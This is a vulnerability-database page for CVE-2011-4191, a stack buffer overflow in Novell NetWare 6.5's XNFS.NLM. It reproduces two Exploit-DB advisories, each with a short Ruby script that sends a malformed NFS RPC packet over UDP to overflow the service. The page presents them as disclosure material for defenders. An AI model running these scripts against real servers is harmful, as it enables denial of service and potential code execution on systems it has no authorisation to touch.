CVE-2011-4191

high
Published 2011-11-30 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
8.5

Description

Stack-based buffer overflow in the xdrDecodeString function in XNFS.NLM in Novell NetWare 6.5 SP8 allows remote attackers to execute arbitrary code or cause a denial of service (abend or NFS outage) via long packets.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-18351 dos netware verified
Francis Provencher ยท 2012-01-10

Novell Netware - XNFS caller_name xdrDecodeString Remote Code Execution

Source code queued for fetch โ€” refresh in a moment.
EDB-18327 dos netware verified text ยท 4 KB
Francis Provencher ยท 2012-01-06

Novell Netware - XNFS.NLM NFS Rename Remote Code Execution

text exploit Source: Exploit-DB
#####################################################################################

Application:   Novell Netware XNFS.NLM NFS Rename Remote Code Execution Vulnerability

Platforms:   Novell Netware 6.5 SP8

Exploitation:   Remote code execution

CVE Number:  

Novell TID:   5117430

ZDI:   ZDI-12-06

{PRL}:   2012-02

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts.
The company specializes in enterprise operating systems, such as SUSE Linux Enterprise
and Novell NetWare; identity, security, and systems management solutions; and
collaboration solutions, such as Novell Groupwise and Novell Pulse.

Novell was instrumental in making the Utah Valley a focus for technology and software
development. Novell technology contributed to the emergence of local area networks,
which displaced the dominant mainframe computing model and changed computing worldwide.
Today, a primary focus of the company is on developing open source software for
enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

#####################################################################################

============================
2) Timeline
============================

2011-05-05 - Vulnerability reported to vendor
2012-01-05 - Coordinated public release of advisory

#####################################################################################

============================
3) Technical details
============================


This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Netware.

Authentication is not required to exploit this vulnerability. The flaw exists within the xnfs.nlm component which

is used when handling NFS RPC requests. This process listens on UDP port 2049. When decoding the xdr encoded

filename from an NFS_RENAME procedure request the process uses the user supplied length as the bounds for its

copy to a stack buffer. A remote attacker can exploit this vulnerability to execute arbitrary code under the

context of the system.


#####################################################################################

===========
4) The Code
===========

#!/usr/bin/ruby

require 'socket'

xnfs_server = (ARGV[0])
target_port = (ARGV[1] || 2049)

#RPC/Portmap packet
beepbeep=
"\x1c\xd1\xef\xab"  + # XID
"\x00\x00\x00\x00" + # Message Type: Call (0)
"\x00\x00\x00\x02" + # RPC Version: 2
"\x00\x01\x86\xa3" + # Program: 100003 
"\x00\x00\x00\x02" + # Program Version: 2
"\x00\x00\x00\x0b" + # Procedure: Rename 
"\x00\x00\x00\x00\x00\x00\x00\x00" + # Credential
"\x00\x00\x00\x00\x00\x00\x00\x00" + # Verifier NULL
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x41\x41\x42\x42\x42\x42"




puts "[+]Sending UDP Packet...\n"
puts "[+] beep beep\n"
puts "[+]No, it's not the road runner\n"


if (!(xnfs_server && target_port))
    puts "Usage: PRL-2012-02.rb host port (default port: 2049)\n"
    exit
else
    
    sock = UDPSocket.open
    sock.connect(xnfs_server, target_port.to_i)
    sock.send(beepbeep, 0)
end
EDB-18328 dos netware verified text ยท 4 KB
Francis Provencher ยท 2012-01-06

Novell Netware - XNFS.NLM STAT Notify Remote Code Execution

text exploit Source: Exploit-DB
#####################################################################################

Application:   Novell Netware XNFS.NLM STAT Notify Remote Code Execution Vulnerability

Platforms:   Novell Netware 6.5 SP8

Exploitation:   Remote code execution

CVE Number:  

Novell TID:   5117430

ZDI:   ZDI-12-07

{PRL}:   2012-01

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts.
The company specializes in enterprise operating systems, such as SUSE Linux Enterprise
and Novell NetWare; identity, security, and systems management solutions; and
collaboration solutions, such as Novell Groupwise and Novell Pulse.

Novell was instrumental in making the Utah Valley a focus for technology and software
development. Novell technology contributed to the emergence of local area networks,
which displaced the dominant mainframe computing model and changed computing worldwide.
Today, a primary focus of the company is on developing open source software for
enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

#####################################################################################

============================
2) Timeline
============================

2011-05-05 - Vulnerability reported to vendor
2012-01-05 - Coordinated public release of advisory

#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Netware.

Authentication is not required to exploit this vulnerability. The flaw exists within the xnfs.nlm component which

is used when handling NFS RPC requests. This process listens on UDP and TCP port 32778. When decoding the

xdr encoded data from an STAT_NOTIFY procedure request the process uses the user supplied length as the

bounds for its copy to a stack buffer. A remote attacker can exploit this vulnerability to execute arbitrary code

under the context of the system.


#####################################################################################

===========
4) The Code
===========

#!/usr/bin/ruby

require 'socket'

rpc_server = (ARGV[0])
target_port = (ARGV[1] || 32778)

#RPC/Portmap packet
beepbeep=
"\x1c\xd1\xef\xab"  + # XID
"\x00\x00\x00\x00" + # Message Type: Call (0)
"\x00\x00\x00\x02" + # RPC Version: 2
"\x00\x01\x86\xb8" + # Program: 100024 
"\x00\x00\x00\x01" + # Program Version: 1
"\x00\x00\x00\x06" + # Procedure: Notify 

"\x00\x00\x00\x01\x00\x00\x00\x18\x09\x27\x4a\x76\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00" + # Verifier NULL



"\x41\x41\x41\x41"



puts "[+]Sending UDP Packet...\n"
puts "[+] beep beep\n"
puts "[+]No, it's not the road runner\n"


if (!(rpc_server && target_port))
    puts "Usage: PRL-2012-01.rb host port (default port: 32778)\n"
    exit
else
    
    sock = UDPSocket.open
    sock.connect(rpc_server, target_port.to_i)
    sock.send(beepbeep, 0)
end

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.